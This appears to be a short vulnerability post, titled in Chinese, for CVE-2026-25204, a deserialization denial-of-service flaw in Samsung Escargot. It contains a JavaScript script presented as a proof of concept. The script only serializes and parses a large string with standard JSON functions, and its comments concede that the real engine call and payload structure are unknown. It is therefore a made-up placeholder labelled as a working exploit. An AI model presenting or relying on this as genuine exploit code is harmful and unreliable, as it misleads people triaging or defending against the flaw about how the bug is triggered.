CVE-2026-25204 Samsung Escargot反序列化致拒绝服务漏洞

// PoC for CVE-2026-25204 // This script demonstrates a potential trigger for the deserialization vulnerability // in Samsung Escargot leading to a process abort (DoS). function serializeObject(obj) { // Simulating a serialization process return JSON.stringify(obj); } function deserializeObject(data) { // The vulnerable deserialization function in Escargot // In a real scenario, this would be the internal engine API return JSON.parse(data); } function triggerDoS() { console.log("[+] Attempting to trigger CVE-2026-25204..."); // Constructing a malicious payload designed to crash the engine // The specific structure depends on the internal implementation details of Escargot let maliciousPayload = { "exploit": "deserialization_abort", "data": "A".repeat(0x100000) // Large input to trigger memory/logic issues }; try { let serializedData = serializeObject(maliciousPayload); // Passing the malicious data to the vulnerable component let result = deserializeObject(serializedData); console.log("[-] Exploit failed, process did not abort."); } catch (e) { console.log("[!] Exception occurred: " + e.message); } } triggerDoS();